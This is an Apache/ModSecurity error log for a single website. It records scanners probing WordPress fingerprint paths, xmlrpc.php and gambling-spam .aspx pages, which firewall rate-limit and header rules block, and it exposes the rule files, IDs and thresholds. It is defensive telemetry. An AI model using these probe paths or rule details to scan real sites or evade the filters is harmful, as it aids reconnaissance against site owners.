[Mon Feb 09 14:36:13.029877 2026] [:error] [pid 60679:tid 60759] [client 101.109.41.163:54943] [client 101.109.41.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aYmAXcixhoT1e6Iv6g-qJQAAA04"]
[Mon Feb 09 14:36:14.469959 2026] [:error] [pid 47938:tid 47985] [client 101.109.41.163:55858] [client 101.109.41.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aYmAXrVCzWE6fQJEkNLNmAAAAEY"]
[Mon Feb 09 14:36:15.917122 2026] [:error] [pid 47938:tid 48003] [client 101.109.41.163:56849] [client 101.109.41.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aYmAX7VCzWE6fQJEkNLNmwAAAFg"]
[Mon Feb 09 14:36:17.365739 2026] [:error] [pid 47938:tid 47993] [client 101.109.41.163:57719] [client 101.109.41.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aYmAYbVCzWE6fQJEkNLNoAAAAE4"]
[Mon Feb 09 14:36:18.816764 2026] [:error] [pid 60619:tid 60672] [client 101.109.41.163:58443] [client 101.109.41.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aYmAYnEpg0UoeR8kJ-3uDwAAAlY"]
[Mon Feb 09 14:36:20.255746 2026] [:error] [pid 60508:tid 60531] [client 101.109.41.163:59266] [client 101.109.41.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aYmAZOXDvLC4ADfnEzOIUwAAAZU"]
[Mon Feb 09 21:18:30.749516 2026] [:error] [pid 18303:tid 18310] [client 36.111.67.189:58228] [client 36.111.67.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYnepkY7TEaZkFrGG4mmAAAAAQU"]
[Mon Feb 09 22:38:03.395301 2026] [:error] [pid 47937:tid 47969] [client 43.156.156.96:40738] [client 43.156.156.96] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYnxS84Fd42MP2DhNrUEOQAAABc"]
[Mon Feb 09 23:46:24.234241 2026] [:error] [pid 60679:tid 60730] [client 162.62.213.165:57794] [client 162.62.213.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYoBUMixhoT1e6Iv6g8H0QAAA0E"]
[Tue Feb 10 01:13:48.715459 2026] [:error] [pid 34044:tid 34053] [client 167.86.83.231:53943] [client 167.86.83.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "aYoVzHKt48XODNt-cM9yLQAAAAU"], referer: binance.com
[Tue Feb 10 03:06:09.050429 2026] [autoindex:error] [pid 34139:tid 34141] [client 167.86.83.231:65101] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Feb 10 04:40:55.263318 2026] [:error] [pid 47830:tid 47850] [client 43.133.14.237:56616] [client 43.133.14.237] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYpGV0co45BZs8e301AddgAAAAQ"]
[Tue Feb 10 05:48:37.274398 2026] [:error] [pid 47831:tid 47890] [client 43.130.37.243:45808] [client 43.130.37.243] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYpWNSdxbZYarWVkiABFgQAAAFE"]
[Tue Feb 10 07:02:37.646313 2026] [:error] [pid 47830:tid 47848] [client 62.216.205.147:38129] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYpnjUco45BZs8e301BVfQAAAAI"]
[Tue Feb 10 07:02:38.860432 2026] [:error] [pid 47831:tid 47877] [client 62.216.205.147:55892] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYpnjidxbZYarWVkiABniwAAAEQ"]
[Tue Feb 10 07:02:40.057495 2026] [:error] [pid 30054:tid 30072] [client 62.216.205.147:62234] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYpnkGecgOOXCu-GgYVNhQAAARA"]
[Tue Feb 10 07:02:43.061380 2026] [:error] [pid 30054:tid 30077] [client 62.216.205.147:14384] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYpnk2ecgOOXCu-GgYVNjgAAARU"]
[Tue Feb 10 07:02:44.248118 2026] [:error] [pid 47937:tid 47962] [client 62.216.205.147:55828] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYpnlMpqXpC2CvJ3fOOzFQAAANc"]
[Tue Feb 10 07:02:47.118657 2026] [:error] [pid 30054:tid 30065] [client 62.216.205.147:62245] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYpnl2ecgOOXCu-GgYVNngAAAQk"]
[Tue Feb 10 07:02:48.243088 2026] [:error] [pid 30054:tid 30079] [client 62.216.205.147:38120] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYpnmGecgOOXCu-GgYVNxAAAARc"]
[Tue Feb 10 07:02:51.081830 2026] [:error] [pid 47830:tid 47860] [client 62.216.205.147:38073] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYpnm0co45BZs8e301BVmwAAAA4"]
[Tue Feb 10 07:02:52.292824 2026] [:error] [pid 47937:tid 47949] [client 62.216.205.147:55928] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYpnnMpqXpC2CvJ3fOOzKgAAAMo"]
[Tue Feb 10 07:02:54.917764 2026] [:error] [pid 47831:tid 47882] [client 62.216.205.147:30109] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYpnnidxbZYarWVkiABn7gAAAEk"]
[Tue Feb 10 07:02:56.085165 2026] [:error] [pid 30054:tid 30068] [client 62.216.205.147:39808] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYpnoGecgOOXCu-GgYVOHgAAAQw"]
[Tue Feb 10 07:02:58.769963 2026] [:error] [pid 47937:tid 47960] [client 62.216.205.147:62325] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYpnospqXpC2CvJ3fOOzPAAAANU"]
[Tue Feb 10 07:02:59.879238 2026] [:error] [pid 47937:tid 47949] [client 62.216.205.147:38127] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYpno8pqXpC2CvJ3fOOzQQAAAMo"]
[Tue Feb 10 07:03:06.516078 2026] [:error] [pid 47837:tid 47918] [client 62.216.205.147:55879] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYpnqnFY8KYFPX79Z4kEJAAAAJI"]
[Tue Feb 10 07:03:07.638909 2026] [:error] [pid 47837:tid 47917] [client 62.216.205.147:62323] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYpnq3FY8KYFPX79Z4kEKAAAAJE"]
[Tue Feb 10 07:03:10.599324 2026] [:error] [pid 47831:tid 47893] [client 62.216.205.147:62232] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYpnridxbZYarWVkiABoQgAAAFQ"]
[Tue Feb 10 07:03:11.801283 2026] [:error] [pid 30054:tid 30057] [client 62.216.205.147:38018] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYpnr2ecgOOXCu-GgYVOUgAAAQE"]
[Tue Feb 10 07:03:14.735239 2026] [:error] [pid 47937:tid 47960] [client 62.216.205.147:62211] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aYpnsspqXpC2CvJ3fOOzXgAAANU"]
[Tue Feb 10 07:03:15.856815 2026] [:error] [pid 30054:tid 30076] [client 62.216.205.147:55935] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aYpns2ecgOOXCu-GgYVOaAAAARQ"]
[Tue Feb 10 07:03:18.538484 2026] [:error] [pid 30054:tid 30070] [client 62.216.205.147:39890] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aYpntmecgOOXCu-GgYVOcQAAAQ4"]
[Tue Feb 10 07:03:19.671532 2026] [:error] [pid 30054:tid 30071] [client 62.216.205.147:55833] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aYpnt2ecgOOXCu-GgYVOdgAAAQ8"]
[Tue Feb 10 07:03:22.307403 2026] [:error] [pid 30054:tid 30080] [client 62.216.205.147:62271] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aYpnumecgOOXCu-GgYVOegAAARg"]
[Tue Feb 10 07:03:23.507435 2026] [:error] [pid 30054:tid 30068] [client 62.216.205.147:39841] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aYpnu2ecgOOXCu-GgYVOfAAAAQw"]
[Tue Feb 10 07:03:26.522387 2026] [:error] [pid 47937:tid 47961] [client 62.216.205.147:39831] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aYpnvspqXpC2CvJ3fOOzbgAAANY"]
[Tue Feb 10 07:03:27.658488 2026] [:error] [pid 47830:tid 47867] [client 62.216.205.147:39861] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aYpnv0co45BZs8e301BV9QAAABU"]
[Tue Feb 10 07:03:31.604514 2026] [:error] [pid 47830:tid 47864] [client 62.216.205.147:55935] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYpnw0co45BZs8e301BV_gAAABI"]
[Tue Feb 10 07:03:32.760994 2026] [:error] [pid 47831:tid 47880] [client 62.216.205.147:55920] [client 62.216.205.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYpnxCdxbZYarWVkiABoYwAAAEc"]
[Tue Feb 10 11:36:31.817596 2026] [ssl:error] [pid 47937:tid 47959] [client 72.11.155.223:52402] AH02032: Hostname www.measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: http://www.measureyourbrand.com/
[Tue Feb 10 14:29:20.789560 2026] [:error] [pid 30054:tid 30062] [client 106.200.18.213:5789] [client 106.200.18.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.200.18.213, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aYrQQGecgOOXCu-GgYXr1wAAAQY"]
[Tue Feb 10 16:10:51.476203 2026] [:error] [pid 47830:tid 47865] [client 51.77.216.62:53824] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aYroC0co45BZs8e301AxEgAAABM"]
[Tue Feb 10 16:10:54.074684 2026] [:error] [pid 47830:tid 47852] [client 51.77.216.62:59276] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aYroDkco45BZs8e301AxFAAAAAY"]
[Tue Feb 10 16:10:56.547468 2026] [:error] [pid 47837:tid 47910] [client 51.77.216.62:59282] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aYroEHFY8KYFPX79Z4mpYAAAAIo"]
[Tue Feb 10 16:10:59.331197 2026] [:error] [pid 7704:tid 7717] [client 51.77.216.62:59286] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aYroE_0EcqgVBUs6CW3h8QAAAco"]
[Tue Feb 10 16:11:01.871802 2026] [:error] [pid 30054:tid 30063] [client 51.77.216.62:59294] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYroFWecgOOXCu-GgYUB-wAAAQc"]
[Tue Feb 10 16:11:04.289171 2026] [:error] [pid 47831:tid 47882] [client 51.77.216.62:54388] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYroGCdxbZYarWVkiAAcvAAAAEk"]
[Tue Feb 10 16:11:06.973072 2026] [:error] [pid 7704:tid 7708] [client 51.77.216.62:54402] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYroGv0EcqgVBUs6CW3h9gAAAcE"]
[Tue Feb 10 16:11:09.496673 2026] [:error] [pid 47937:tid 47946] [client 51.77.216.62:54412] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYroHcpqXpC2CvJ3fONuNQAAAMc"]
[Tue Feb 10 16:11:11.905077 2026] [:error] [pid 59407:tid 59428] [client 51.77.216.62:54414] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYroH2LlhBXE3qmX-Jnn-gAAAVM"]
[Tue Feb 10 16:11:14.693820 2026] [:error] [pid 47831:tid 47888] [client 51.77.216.62:54540] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYroIidxbZYarWVkiAAczAAAAE8"]
[Tue Feb 10 16:11:17.156108 2026] [:error] [pid 59544:tid 59548] [client 51.77.216.62:54550] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYroJaZySR9mFY4Baim6ZAAAAYA"]
